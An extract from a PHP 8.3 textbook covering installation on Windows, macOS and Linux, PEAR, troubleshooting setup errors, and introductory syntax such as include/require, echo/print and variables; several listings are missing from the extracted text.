these packages as ZIP archives from the respective project pages and unpack them.
However, we will use the Git version ahead and assume that your system is configured
accordingly.
In the start menu folder for Visual Studio 2019, you will find Developer Command
Prompt for VS 2019. This opens a command prompt in which the paths for using most
of the required tools are already set correctly.
The following command retrieves the current source code of the PHP SDK, unpacks it
into the C:\php-sdk directory, and then retrieves at least version 2.2.0:
git clone https://github.com/php/php-sdk-binary-tools.git c:\php-sdk
This was the latest nonbeta version at the time of publication (we use development sta-
tus 2.2.1-dev ahead). It is quite possible that something newer will be available already
when you are reading this chapter. Simply check the Releases tab on the GitHub page
of the PHP SDK. The specific selection of a version (e.g. via git checkout php-sdk-2.2.0)
has the advantage that you are actually using a version published as a "release" and not
a current snapshot.
Next change to the C:\php-sdk folder and prepare the file system for compilation (see
Figure 2.10). Ahead, we will use the 64-bit version; if you want to use PHP as a 32-bit
application, replace x64 with x86:
cd c:\php-sdk phpsdk-vs16-x64.bat
phpsdk_buildtree.bat phpmaster
Do not be surprised: the second batch script is located in the bin subfolder, but can be
called from C:\php-sdk because the first batch script adjusts the PATH environment vari-
able within the current console window accordingly.
Next, we need the source code of PHP itself. You can either clone it from the project's
Git repository (which we will do ahead), or you can download the corresponding
archive from http://php.net/downloads.php and unpack it into the C:\php-sdk\phpmas-
ter\vs16\x64\php-src folder:
(If necessary, replace x64 with x86 again if you need the 32-bit version.)
We still haven't reached our goal because we are still missing all the required libraries.
They used to be available for download as a 7z archive on the PHP website, but nowa-
days getting what you need is more convenient: the phpsdk_deps.bat script automati-
cally obtains the required packages. Call it in the folder where the source code is
located. We use the master branch of PHP, but you can also specify any other branch:6
cd php-src
phpsdk_deps.bat --update --branch master
Those were quite a few downloading and copying steps. But thanks to the ready-made
batch files, everything should work without errors. And now it's time to get down to the
real work!
First run the buildconf script. This creates a configuration script based on which PHP
can be compiled. In the next step, call configure and specify, among other things, which
extensions you want to create. There is a complete list at http://s-prs.co/v602262, but
the following call is sufficient for a first test:
nmake
This will take some time (see Figure 2.11). At the end, however, you will have PHP in a
binary version. If you have also used the --enable-debug switch, the result will be in the
Debug_TS folder; otherwise, it will be in Release_TS.
Note
You can see in the output shown in Figure 2.12 that the PHP version used is 8.4.0-dev.
How is this possible, since this book is about PHP 8.3 (and was finalized shortly after its
release)?
The answer is quite simple: after the release of PHP 8.3, the PHP team has nominally
started work on the next major version, PHP 8.4. Because we fetched the source code
directly from Git, we have the latest version and therefore also 8.4. Since PHP 8.4 has
already come out, you may see version 8.5.0-dev. But don't get too excited: at least at
the time of publication, the versions were almost identical.
However, if you want to compile a specific PHP version, specify the specific branch
when calling phpsdk_deps.bat, as explained previously.
6 If you have downloaded and unpacked the source code as a ZIP archive, simply omit the --branch
switch.
Extensions
Extensions install under Windows in php.ini. First of all, the directory for the exten-
sions is relevant. You set it with the extension_dir directive. In PHP, you will find the
extensions in the ext directory:
extension_dir = "ext"
Many extensions are not included in the standard package, but in their own PECL pack-
age. PECL is the official directory for extensions written in C (see http://pecl.php.net).
If you have entered the directory for the extensions correctly, you only need to register
the extension itself. Since the beginning of time, this has always been done according
to the following pattern:
extension=php_name.dll
Since PHP 7.3, there is also a short form that dispenses with both the php and the .dll.
The advantage is that this part of the configuration is therefore independent of the
operating system:
extension=name
Most of the extensions supplied with the installation are already entered in php.ini (see
Figure 2.13). However, they are still commented out with a semicolon:
;extension=exif
Simply remove the semicolon in front of the line to put the extension into operation.
If you restart the web server (when used as a CGI module, a new call is sufficient), you
will see via phpinfo() that the new extension is now registered.
Refresh
In the end, all that remains is to keep the system secure. One of the most important
things for this is to regularly use Windows Update (see Figure 2.14).
Figure 2.14 Windows Update Updates the Operating System and Other Components
However, this alone is not enough. Even if you use Apache or another web server, you
should always keep it up to date. For a production system, the settings in php.ini are
also crucial for security. And last but not least, the PHP version should also be reason-
ably up-to-date.
2.1.3 macOS
Users of macOS (formerly OS X) have a particularly easy time getting PHP up and run-
ning. The first, sometimes tedious, step of installing the web server, for example, is no
longer necessary because macOS includes an Apache server by default. For obvious rea-
sons, however, it is deactivated by default.
There is no built-in UI for setting and starting that web server; you have to use the com-
mand line instead. It makes a difference whether you have a modern macOS version (at
least Monterey or macOS 10.12) or an older one. In the latter case, open a terminal win-
dow and start the Apache web server:
There are two root directories for the web server. The global one is located under
/Library/WebServer/Documents; the files there can be accessed at http://localhost/file-
name. For the web folder at the user level, you must first create a sites folder in the user
directory and then the server configuration. At http://s-prs.co/v602263, you will find
complete instructions for macOS Big Sur (and also links to earlier versions), to which
we refer you here.
Next, you will need PHP. Unfortunately, the PHP project does not provide official bina-
ries for Mac, but PHP is already included in macOS (although usually in an old version).
However, you need to enable it by editing the /private/etc/apache2/httpd.conf file—for
example, with the following command (see Figure 2.15):
Figure 2.15 Edit the "httpd.conf" File to Activate the PHP Supplied with macOS
Yes, this is actually PHP version 7. You must remove the hash sign at the beginning of
the line (a comment character). PHP will then be available after restarting the server:
Note
In older versions of macOS, the httpd.conf file contains other PHP-relevant content.
Among other things, you must ensure that files with the .php extension are also
processed by PHP. Refer to steps 2 and especially 3 at http://s-prs.co/v602264.
However, as mentioned, the PHP version supplied is not the latest (in newer macOS
versions, such as 7.3.x—and the system includes a note that it will no longer be avail-
able in future versions; see Figure 2.16). But there is a convenient workaround here too.
Figure 2.16 PHP Is Included with macOS, but Is Outdated and Will Not Be Included for Long
The brew command line tool is then available (among other things). If you do not yet
have an up-to-date Apache web server on your system, you can retrofit it using Home-
brew:
Then move on to the scripting language of your choice. The following instruction suc-
cessfully installs PHP 8.3 (see Figure 2.17 and Figure 2.18), and future versions should
work in the same way:
Note
With newer versions of macOS, it is no longer quite so trivial to integrate PHP into the
Apache web server supplied. For example, extensions must be specially signed before
they can be executed. A frequently chosen procedure is to deactivate the bundled version
and install—again, via Homebrew—the latest Apache release. Details on this and on
handling multiple parallel PHP versions under macOS can be found at http://s-prs.co/
v602208.
Note
Homebrew works wonderfully, but it can take up a lot of memory because the compo-
nents are compiled on the target system. An alternative that is still maintained for
older macOS versions is the MacPorts Project (https://macports.org). After installing
the basic package, the following command sets up PHP on the system:
sudo port install php
Even if the market share of macOS is comparatively small (around 20% on the desktop),
this does not mean that there are no security vulnerabilities or that there are no people
who want to exploit them. For this reason, the same rule applies here: update early and
often. macOS is configured by default so that the system update is started automatically
at regular intervals (see Figure 2.19). You should not necessarily change this setting.
Figure 2.19 Updates for Installed Programs under macOS, and macOS Itself
2.1.4 Linux
Under Linux,7 prebuilt packages are not as important as Windows installers for PHP.
The classic "manual installation" is the most important way to get PHP running with all
the extensions you want. The installation is therefore subject to far fewer exceptions
and problems. Once you have internalized the basic principle, it works the same way
every time. We use Apache and nginx as web servers here.
Distributions
Most Linux distributions already include Apache and in most cases also PHP support.
For example, in some (older) Ubuntu versions you will find the installation option in
the package management. You then only need to activate the web server in the run-
level editor, and that's it.
In newer distributions and versions, it is best to use the command line:
The first two commands update the package manager's software list and installed pack-
ages, then finally you install Apache, PHP, and the PHP module for Apache 2.
The problem with these automatisms is that Linux distributions are updated less fre-
quently than PHP. As a result, the versions are sometimes (slightly) out of date; at the
time of publication, for example, the latest long-term support (LTS) Ubuntu version
only delivered PHP 8.1. You also have little control over the compilation settings, but
they are definitely suitable as a basis.
Tip
If Ubuntu is too slow, Ondřej Surý can help. He publishes packages for supported PHP
versions reliably and promptly. If you activate his repository, you will have early access
to new versions:
sudo add-apt-repository ppa:ondrej/php
sudo apt update
Another popular web server, and now with an even higher market share than Apache,
is nginx. You can also install PHP support for this server, as described ahead. The start-
ing point at the time of publication is Ondřej Surý’s repository mentioned in the pre-
ceding box. First install nginx, if you have not already done so:
7 For other Unix systems, the PHP online documentation provides helpful descriptions. We had to
draw a line here, as the book medium does not offer sufficient update cycles and space for such up-
to-date and differentiated information.
Next, do not use the "normal" PHP package but the FPM package. FPM here stands for
FastCGI Process Manager and offers excellent performance, just like the web server:
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.3-fpm.sock;
}
Finally, create a file called phpinfo.php in the /var/www/html folder with the following
content:
<?php
phpinfo();
?>
Now quickly restart the server with sudo systemctl restart nginx, after which http://
localhost/phpinfo.php should display an output like that shown in Figure 2.20.
Tip
The PHP FPM package can also be easily integrated into Apache. After installing
php8.3-fpm via apt-get, the following two commands are required:
a2enmod proxy_fcgi setenvif
a2enconf php8.3-fpm
Installation Packages
Among the ready-made installation packages for Linux—as with Windows—XAMPP
should be mentioned. Installation is quite simple:
1. Download the package from https://www.apachefriends.org/download.html.
2. Run the installer. This is a .run file. It requires execution rights, and then the rest
runs almost automatically. Change the version name so that it fits your system:
/opt/lampp/lampp start
Installation by Hand
For an installation by hand in Linux (and very similarly in macOS), not much knowl-
edge is actually required. The whole thing is done in just a few steps. To begin with,
however, you will need the following programs on your system, most of which are
included as components in the Apple development environment Xcode:
쐍 A C-compiler like gcc
쐍 autoconf, software for creating configuration scripts
쐍 bison, the GNU parser generator
쐍 flex, a generator for lexical analysis
쐍 libtool, a support script for libraries
쐍 re2c, a lexer generator
If you have a standard installation of a distribution, the programs mentioned are either
available or can be installed from the scope of delivery. For these installation instruc-
tions, you will need an Apache web server. You can obtain this as follows (if your distri-
bution uses a different package manager, adapt the commands accordingly). It is
important that you also install the apache2-dev package:
If you install extensions that are not included with PHP, you will also need the corre-
sponding libraries. You can find out what these are in the respective chapters of this
book.
If everything is available, the following steps will lead you to your goal:
1. Download the sources for PHP 8.3.x. We assume tar.gz here.
2. Unpack the sources. Note that the file name changes with the version number! The
directory, in this case, /usr/local/src/lamp, can be defined as desired so long as the
current user has write access to it:
cd /usr/local/src/lamp/php-8.3.2/
Apache installation or in /usr/bin (the which apxs call reveals the path). Otherwise,
PHP is only generated as a CGI module:
Note
You can use ./configure --help to display a list of all options. The necessary settings
for extensions can be found at the beginning of each chapter in this book. A summary
is included in the online documentation at http://s-prs.co/v602265.
You may also be missing some libraries on the system. For example, PHP uses libxml2,
but its presence alone is not enough; you also need the libxml2-dev package. The con-
figure tool aborts with a (usually) meaningful error message if something is missing
(see Figure 2.23, which comes from a system on which libxml2 was already present, but
not libxml2-dev; the pkg-config package was also missing). The developer package for
sqlite3 is also often not available by default and is typically called sqlite-devel or
libsqlite3-dev, depending on the distribution. If configure complains about the missing
zlib package, then libzip-dev usually helps.
Figure 2.24 "make" Prepares the Compilation (This Takes Some Time)
Note
For make install (see Figure 2.25), you usually need administrator rights (unless you
have specified a target directory in --prefix for which the current user has write
access). For example, use sudo make install.
Figure 2.25 "make install" Performs the Final Installation (Much Faster than "make")
Brief recap: During compilation, an Apache module is generated—if you have set it up.
You must now configure this Apache module in Apache.
Copy one of the two suggested php.ini files to /usr/local/lib and rename it to php.ini.
Alternatively, when configuring PHP, you should specify the --with-config-file-path=
/etc/ directive when configuring PHP.
Now you have to register PHP in Apache. To do this, add the following line to httpd.conf
(on some systems, alternatively, apache2.conf):
You can also use any other extension for PHP files. Simply write several endings one
after the other:
You should also check whether the module is already loaded. The following line must
be present in http.conf for this:
Now restart Apache or start it for the first time—for example, with the following:
/path/to/apachectl start
/path/to/apachectl restart
Note that the PHP configuration step is crucial. All important options are defined in
this step. If you want to use a new extension, you must repeat this and the following
steps.
Note
If PHP is responsible for an error when starting Apache, you will usually receive a mean-
ingful error message in the Apache error logs.
Finally, test the installation with the phpinfo() script that you have already seen several
times. As a reminder, this is a simple PHP file that you place in the Apache htdocs web
directory. It contains only three lines of code (see Listing 2.1).
<?php
phpinfo();
?>
However, these three lines have a great effect.8 They output the current PHP version
with the complete configuration string and information on the extensions. You can
therefore always check what is installed here.
Refresh
With Linux too, you must keep the system up-to-date and secure. You can leave the
update to your distribution (see Figure 2.26), but this does not apply to a manually cre-
ated PHP installation.
Figure 2.26 Ubuntu Has Found Various Software Updates—Including Security-Critical Ones!
8 Strictly speaking, the third line is not necessary; at the very end of a PHP file, ?> is dispensable.
You should regularly install a new version here. The whole thing looks slightly different
depending on the distribution.
2.2 PEAR
PEAR is the PHP extension library. PEAR contains all the extensions that are written in
PHP. Its sister library is PECL, with extensions written in C. You integrate these exten-
sions written in C either via php.ini (Windows) or via the configuration (Linux). PEAR,
on the other hand, can be installed either via the script supplied with the installation or
via a command prompt. As PEAR is an official PHP project, we would like to close the
circle at this point and describe the installation here as well. However, it should be
noted that the further development of PEAR is progressing very slowly (the installation
fails under PHP 8.3, which is why the steps ahead will use PHP 8.2), and that the Com-
poser and its package directory, Packagist, are setting the tone. Chapter 38 reveals more
about this.
cd C:\php
3. Execute go-pear.phar. PHAR here stands for PHP Archive and is essentially a file
archive that contains PHP code for unpacking at the beginning:
php go-pear.phar
4. You can install PEAR system-wide or locally (see Figure 2.27; the warning messages
do not bode well for future PHP versions). Local here means with relative paths—for
example, for transport on a mobile hard disk.
5. Then confirm the corresponding installation paths. They are written to the pear.ini
file. On our test systems, we first had to specify the PHP folder (C:\php) under point
13 and set a storage location with write permissions for the pear.ini configuration file
under point 12. Then the installation can start.
You must change the PATH Windows environment variable yourself if you want the pear
command in the command prompt to be available outside the PHP directory—for
example, C:\php (see Figure 2.28).
To install new packages, use the pear command in the command prompt/console.
Enter the command without options to see all possible entries. If you want to try it out
right away, simply install a package. To do this, go to the command prompt and then to
the PHP directory—for example, C:\php. Then enter the following line:
The PEAR command is quite powerful. Simply type it into the command prompt with-
out any additions. You will then receive a list of all the options. We would like to briefly
introduce some of them here:
쐍 The PEAR installation uses so-called channels via which the content is delivered. Use
pear channel-update pear.php.net to retrieve the current PEAR channel after instal-
lation. Via the channels, other libraries can also use the PEAR installer.
쐍 If you want to install a PEAR package that does not yet have the status Final, you can
specify the status as a switch. The most common switches are -alpha and -beta.
쐍 With the --alldeps switch (see Figure 2.30), you can download all dependent pack-
ages. onlyreqdeps only downloads necessary packages:
Figure 2.30 Dependent Packages Are Also Installed, with Some Warnings for (Still) Not Stable
or Outdated Packages
쐍 You can also use the PEAR commands to update existing packages and search for
specific packages. Simply enter pear in the command prompt, followed by upgrade
package name. To search, use pear search and then the search term.
Note
There was once a second incarnation of PEAR, called PEAR2. This relied on a new PEAR
installer called Pyrus. However, work on this has now been completely discontinued,
and the homepage has been shut down.
Note
At http://s-prs.co/v602209, you will find tricks for installing PEAR at the host via Tel-
net/SSH or FTP. However, the setup sometimes does not work depending on the secu-
rity settings of the host.
You should now have a functioning PHP system available. If not, take a look at the next
chapter, Chapter 3, where you will find information on how to detect errors. And even
if your system is currently running smoothly, you will find useful tips here just in case.
You already know the most famous PHP test: phpinfo(). In this chapter, we have col-
lected information that will also help you with the installation and operation of PHP.
Section 3.1 collects some problems we have encountered in trainings, in projects, and in
our daily work, while Section 3.2 tells you where you can find help on the internet. The
focus here is on problems directly after installation: What could have gone wrong, and
which steps may have been forgotten?
Note
Chapter 35 reveals how to find errors in the programming itself.
1 Bear this in mind when you send us a question. Unfortunately, we can't tell you anything with "The
page cannot be displayed."
The Chrome browser team in particular refuses to disable these "pretty" messages (see
discussion at https://bugs.chromium.org/p/chromium/issues/detail?id=1695). When in
doubt, it helps to look at the HTTP response (header and content) via the browser tools
(press (F12)). Figure 3.2 shows this using the Chrome browser.
Figure 3.2 The "Pretty" Error Message Is Less Useful than the Details in the Browser Console
a difference in capitalization in the file name can be sufficient here. It is also possible
that the web server has been misconfigured or that you have simply stored your file in
the wrong directory.
Figure 3.6 An Incorrect API version Indicates the Module Is Too Old
Figure 3.7 shows the message that an extension (incidentally, the one for controlling
Oracle databases, which you will learn about in Chapter 22) could not be found. How-
ever, you know that the file does in fact exist. Then there are two possibilities:
쐍 The PHP interpreter or the web server does not have access rights for the extension
file.
쐍 The extension has dependencies, such as additional libraries.
In the example, the second point is the case: PHP's Oracle library requires Oracle's cli-
ent libraries in order to function. If you are using Windows, a program such as File
Monitor or the now established successor Process Monitor from www.sysinternals.com
(which was bought by Microsoft, but is still free) can provide very useful services for
these or other access problems as it shows which files are currently being accessed by
which processes.
Figure 3.8 show the output of the tool. Next to each file, you can also see whether the
access was successful (SUCCESS) or whether an error occurred (e.g., FILE NOT FOUND,
PERMISSION DENIED).
Figure 3.8 PHP Searches for a File Called OCI.dll, but Does Not Find It
Tip
The tool offers a filtering option. If you enter “php” as the filter, only accesses coming
from the PHP process are displayed. Otherwise, the list quickly becomes very confusing.
A similar case has occurred if you only see parts of the script in the web browser, but the
PHP code has obviously not been executed. Look at the HTML source code. You will
most likely also find your PHP code there. The cause: you have probably not called up
the address with the test web server, but locally. You always need http://localhost/ (or a
computer name or IP address) as PHP can only be interpreted if it runs via the web
server.
Not every web server does this in the standard installation. However, you can also force
the web servers to check whether the called script file exists. In this case, a 404 message
is displayed.
You can see a different error message in Figure 3.11. The web server reports that "the
page isn’t working," but you are sure that you have not made an error in the code. A lit-
tle further down in the error message, you can see the actual cause: HTTP Error 400—
that stands for "invalid request". A common reason for this error is when using Micro-
soft IIS server; you may have forgotten the following instruction in php.ini:
cgi.force_redirect = 0
the error text has not been transmitted to the web browser. The only thing that helps
here is a look at the system's error log—for example, in the error.log file for Apache.
Figure 3.14 Windows Users May Need to Install an Additional Package from Microsoft
Figure 3.15 The Error Messages Are Immediately Displayed in the Console
for participation in the mailing lists (see Figure 3.16). You will receive a confirmation
email with an opt-in confirmation link. You will then be activated for the mailing list (a
spam protection measure).
But remember that mailing lists live from the give and take of all participants. Observe
the usual rules of courtesy in mail correspondence: remain friendly and factual, always
provide minimized listings in case of problems (and not 100 lines of code, of which
only one line causes trouble), do not attach any files, and use no HTML formatting.
Then you will usually find help very quickly.
Figure 3.16 You Can Register for the Mailing Lists via Your Browser
PHP is not difficult to learn. This promise is at the beginning of a comprehensive intro-
duction to the language, which will shed light on all essential aspects of the language.
You will find many small, simple pieces of code. This means that you can quickly look
up individual facts later on and delve deeper and deeper into PHP.
Tip
If you are in a hurry and don't need the rarer details, but want to learn the language
quickly and compactly, simply skip the fourth-level headings (those without numbers)
when you first read it. There you will usually find background information on individual
topics, but this will only become really important in individual cases.
<?php
//code
?>
This is the standard way to include PHP code. Capitalization is also allowed: <?PHP. In
addition, many modern projects (including frameworks such as Zend Framework and
Symfony) omit the closing ?> element in files that only contain PHP code (i.e., no
HTML), as this can be followed by whitespace by mistake, which then leads to an error
message in the form of Cannot modify header error:
You can make it a little shorter by simply omitting php and using only angle brackets
and question marks. However, this variant is not XML-compliant and can be switched
off in php.ini using the short_open_tag = Off option. The default setting here is On, but
you should not rely on this. We therefore advise against using this variant.
<%
//Code
%>
This form corresponded to Active Server Pages (ASP), the now-obsolete3 server-side
programming technology from Microsoft. This variant no longer exists since PHP 7;
from this version on, the variant throws a syntax error. The functionality is still avail-
able in older versions. For this, you must set the asp_tags entry in the php.ini configu-
ration file4 to On. However, we naturally advise against using it.
<script language="php">
//Code
</script>
This last form has always been uncommon in practice, as it involves a lot of typing. This
is why it was also abolished in PHP 7.
What all types have in common is that they are PHP statement blocks. You can insert
any number of PHP blocks into an HTML page.
Note
If no PHP statements are found in a PHP page, then the PHP interpreter simply outputs
the HTML code.
4.1.1 Comments
A comment is text in the source code that is not executed by the PHP interpreter. In
practice, comments are used to explain parts of the code or to provide other informa-
tion. PHP uses a syntax for comments that you may already know from JavaScript or
other languages:
// Comment
This stands for a one-line comment. All characters after // are commented out.
# Comment
/* Multiline
comment */
This comments out a block between /* and */, which may extend over several lines.
Note
In practice, a variant with two asterisks next to the opening comment character is
often used: /** ... */. These are basically normal PHP comments, but they are spe-
cially marked for phpDocumentor (https://phpdoc.org). With phpDocumentor, you can
create comments that are automatically converted into API documentation.
Tip
Comment your code in a meaningful and understandable way. Just think of the poor
colleague who has to continue working on it, or of yourself. After a few years, you will
have forgotten what the script was supposed to be about. In either case, you will make
someone happy with good comments!
4.1.2 Instructions
All characters within a PHP statement block that are not commented out together form
the PHP code that the PHP interpreter executes. Each line in PHP that contains a state-
ment must end with a semicolon:
<?php
echo "Text";
?>
Note
The instruction also includes the term expression. In PHP, everything that has a value is
an expression. Most statements are therefore also expressions. However, this defini-
tion is rather academic and rarely relevant for your practical work.
<?php
echo "External PHP File!";
?>
Tip
PHP code must be included in a PHP statement block as normal. The external file can
also contain HTML source code. When the PHP interpreter calls an external file, it reads
the HTML and interprets the PHP blocks (see Figure 4.1).
5 When comparing server-side technologies, the separation of code and content—a form of modular
programming—is an important requirement that ASP.NET, for example, fulfills very well. However,
it must be remembered that PHP originally had an advantage over Perl, the market leader at the
time, precisely because of the close integration of PHP code and HTML code. Thanks to external
files, however, you can now program with PHP both "separately" and "integrated," so there is no dif-
ference when programming cleanly.
6 You can read more about this in Chapter 34. In test mode, you should always leave error_reporting
in php.ini set to E_ALL so that all error messages are displayed and you can recognize problems
quickly. You should also show the error messages with display_errors=On in the development and
test environments.
This file is then incorporated into a file using include() (see Listing 4.2).
<html>
<head>
<title>PHP Include</title>
</head>
<body>
<?php
include "external.php";
?>
</body>
</html>
If the file is not in the same directory or not in a directory specified by the include_path
directive in php.ini, then you must specify the full path to the file.
Note
Windows does not differentiate between upper- and lowercase for file names. In this
respect, the commands for integrating external files under Windows do not differenti-
ate between external.php and External.php, for example.
require "external.php";
Note
Statements7 are language constructs offered by PHP to achieve a specific goal. The
parameters for statements are written in quotation marks after the statement. Alter-
natively, a syntax with round brackets is also possible here:
require("external.php");
7 The nomenclature is not clear here. A line in PHP that ends with a semicolon is also called an
instruction. It even usually contains a PHP language construct—that is, an instruction in the nar-
rower sense (alternatively: command). However, the distinction between the terms is more of an
academic nature and has no practical implications.
This behavior is desirable if your script really runs the risk of reading in a file several
times. In this case, existing variable values or functions may be overwritten again or an
error may appear for functions, as they can only ever be declared once in the same con-
text.
The use of include_once() and require_once() is exactly the same as that of include()
and require():
include_once "external.php";
require_once "external.php";
Return Value
If the script in the external file delivers a return value with return,8 this can also be
saved in a variable9:
$value = require("external.php");
if (condition)
include "external.php";
else
include "external2.php";
is therefore not allowed but still works in some PHP versions. The following is correct:
if (condition) {
include "external.php";
}
else {
include "external2.php";
}
allow_url_fopen = On
8 See Chapter 6.
9 See Section 4.3.
10 More details on this in Chapter 5.
11 See also Chapter 32.
"include_path"
There is a second interesting setting in php.ini: Under include_path, you can define any
paths in which include() and require() statements are automatically looked up. Multi-
ple paths are separated with a colon in Linux and with a semicolon in Windows. Here
you can see the Linux version:
include_path = ".:/php/includes"
include_path = ".;c:\php\includes"
The PATH_SEPARATOR constant contains the separator depending on the operating sys-
tem. This means that you do not have to worry about this detail, but simply write the
following:
You can also change the include_path setting for the current script. There are two differ-
ent ways to do this:
쐍 The set_include_path()function :
set_include_path("/includes");
쐍 The ini_set()function to change any setting in php.ini:
ini_set("include_path", "/includes");
<?php
echo "output";
?>
쐍 The print statement:
<?php
print "Output";
?>
12 A language construct (statement) is a PHP instruction. In this book, we distinguish between lan-
guage constructs (synonymous: statements, language instructions) and functions. More on this
follows in Chapter 6.
The two statements differ in that echo simply outputs what has been passed, whereas
print returns a return value.13
This return value can be written to a variable (Section 4.3) and can be saved. The value
is 1 if the output has worked.
<?php
$t = print "Output";
echo $t;
?>
Output
4.2.1 Abstract
It is even shorter if you only enter an equals sign directly after the start of the PHP
block:
<?="Short edition"?>
Tip
Up to PHP version 5.3, short_open_tags had to be set to on in order to use the short
form. Since version 5.4, <?= is also available if short_open_tags is deactivated.
echo "Output";
or
echo 'Output';.
13 This difference is because print is actually an operator. See the "print" section in Chapter 5, Section 5.1.5.
14 It is a character string (also known simply as a string). More on this in the next section.
To use double or single quotation marks, you must use the other type of quotation
mark to delimit the output:
If you want to use single and double quotation marks in a string, you must escape the
respective quotation marks using a backslash:
4.3 Variables
A variable stores a value. This value can be changed in the course of a script, so it is vari-
able, giving the variable its name.
In PHP, all variables begin with the dollar sign ($).15 Unlike other programming lan-
guages, PHP does not require a variable to be declared the first time it appears. But you
must of course assign a value to a variable. This can be done with the equals sign (=), the
so-called assignment operator. The following therefore assigns a character string with
the content "value" to the variable text.:
$text = "Value";
$number = 8;
15 This syntax is based on Perl, a very powerful but sometimes quite complicated scripting language.
Overall, the syntax of PHP borrows a lot from Perl and also adopts regular expressions, for example.
쐍 Double is the data type for floating point numbers. Double also contains integers:
$true = true;
쐍 object stands for an object in PHP. You can find more information on this in Chapter
11.
쐍 Arrays can store several values and are very important for programming. You can
read more about arrays in Chapter 8.
쐍 resource is a data type used internally by PHP in which, for example, accesses to data
sources are stored.
쐍 NULL does not represent a value but is itself also a data type.
In most cases, you do not need to worry about data types as PHP automatically deter-
mines the data type of a variable's value and converts it when it changes. However, the
automatic type conversion does not always work as expected and/or desired. There-
fore, the next two sections first show how to determine the data type of a variable and
then how to change the type.
Tip
If you want to get started with PHP quickly, just skip these sections and read them later
when you need them for your application.
<?php
$a = "Text";
echo gettype($a);
?>
Note
In addition to the general gettype() function, there are many individual functions that
each test for a specific data type. is_bool() checks for Boolean, is_string() checks for
string, is_numeric() checks whether it is a number, and so on. The return value is
always a truth value: true if the data type is present, false if not.
Type Conversion
Normally you do not have to worry about type conversion in PHP. The script in the fol-
lowing listing would append the number to the string in many programming lan-
guages. However, as PHP uses its own operator, the dot (.), to join strings, the type
conversion works correctly here.
<?php
$a = "3";
$b = 5;
$erg = $a + $b;
echo $erg;
?>
If you do need a type conversion, you will find the type casting known from C in PHP.
You write the data type (in short or long form) before the variable that is to be con-
verted.
<?php
$a = "true";
$b = (bool) $a;
echo $b;
?>
The output of the script in the previous listing is the truth value 1, which stands for true:
As an alternative to conversion with the data type before the variable, you can also use
the settype(variable, data type) function. The data type is transferred as a string.
<?php
$a = "true";
$b = settype($a, "boolean");
echo $b;
?>
4.3.2 Naming
The name of a variable in PHP may only consist of letters, digits and underscores (_). It
may only begin with letters or an underscore: not with a number.
Despite these restrictions, PHP is one of the most liberal programming languages when
it comes to variable names. The names of language constructs and statements such as
echo or if can be used as variable names16:
$echo = "Value";
echo $echo;
$value_left = 5;
$valueLinks = 5;
16 These names are also called keywords. In most programming languages, keywords cannot be used
as variable names.
17 This style is also known as camel case, named after the humps of a camel.
$ValueLeft = 5;
<?php
$a = "text";
$$a = "Text for output";
echo $text;
?>
Note
Composing variable names is particularly useful if you want to generate the variable
name dynamically.
Hello PHP 8
18 This variant is also called Pascal case after the Pascal programming language or, more commonly
in PHP, studlyCaps. Pascal is named after the mathematician Blaise Pascal.
$text = "Hello";
echo "$text PHP 8";
Hello PHP 8
However, this only works if you use double quotation marks. With single quotation
marks, the variable is not included (see Figure 4.5):
$a = "Hello";
echo '$a PHP 8';
Figure 4.5 The Variable Name Is Output because Single Quotation Marks Are Used
This distinction between double and single quotation marks is not only relevant when
using variables, but also for escape sequences. In an escape sequence, a character is
escaped using the backslash (\), or the escape sequence produces a certain effect. The
distinction between double and single quotation marks is very simple with escape
sequences:
쐍 For single quotes, you can only escape single quotes and, if necessary, the backslash,
as you have already seen:
\\ Outputs a backslash. You can achieve the same if you only output a
backslash without an escape string sequence after it.
$ Dollar sign.
\n Line break (ASCII 10), but not in HTML. You need the <br /> HTML tag
for this.
\000 One to three digits represent a number in octal notation.* The corre-
sponding character is then output.
*Octal notation: The base of the octal system is 8. All digits go from 0 to 7. The conversion is as
follows: 245 becomes 2 × 64 + 4 × 8 + 5, which results in 165.
**Hexadecimal notation: The hexadecimal system writes numbers on the basis of 16, which is
why there are 16 characters—namely, from 0 to 9 and the letters A to F. You convert a hexa-
decimal number consisting of two digits as follows: multiply the first digit by 16 and add the
second to the result. Hexadecimal numbers are used, for example, for color notation in HTML.
"isset()"
The isset(Variable) auxiliary function checks whether a variable exists. It returns a
truth value as the result. As it would not be very exciting to simply output this truth
value, we will jump ahead a little and show a case differentiation that will be discussed
in more detail in the next chapter.
The script in the following listing checks whether a variable exists. If so, it is output;
otherwise, an alternative message appears.
<?php
$test = "Text variable";
if (isset($test)) {
echo $test;
} else {
echo "Variable not set";
}
?>
In the preceding example, the variable is set and is therefore output. But what if you do
not assign a value to the variable at all?
$test;
if (isset($test)) {
echo $test;
} else {
echo "Variable not set";
}
Note
isset() also returns false if a variable has the value NULL (no value).
"empty()"
A similar test to isset() is performed by empty(). empty(Variable) checks whether a
variable is empty (see Figure 4.6). However, an empty variable is also an empty string or
0. This is the difference from isset().
<?php
$test = "";
if (empty($test)) {
echo "Variable is empty";
} else {
echo $test;
}
?>
Note
In the PHP documentation, you will find a rather interesting comparison table of the
various test functions (http://s-prs.co/v602211; see Figure 4.7).
Figure 4.7 The Comparison of the Different Functions Is Very Informative if You Have a
Specific Comparison Problem
"is_null()"
The is_null(Variable) function is also one of the auxiliary and test functions. It tests
whether a variable has the value NULL (no value).
<?php
$test = null;
if (is_null($test)) {
echo "Variable is NULL";
} else {
echo "Variable is not NULL, but" . $test;
}
?>
In the preceding example, the tested variable is null, and therefore the following is out-
put:
Variable is NULL
Note
The spelling of functions in PHP is unfortunately somewhat inconsistent. isset() is
written together, whereas is_null() is written with an underscore. There are historical
reasons for this: the functions were simply called this way at some point and then—to
maintain the downward compatibility of the scripts—could no longer be renamed.
"unset()"
The unset(Variable) language construct deletes a variable. You need this function, for
example, if you want to deliberately create space in the main memory.
<?php
$test = "One variable.";
echo $test;
unset($test);
echo $test;
?>
This example only outputs the text One variable. once. In the second output, the vari-
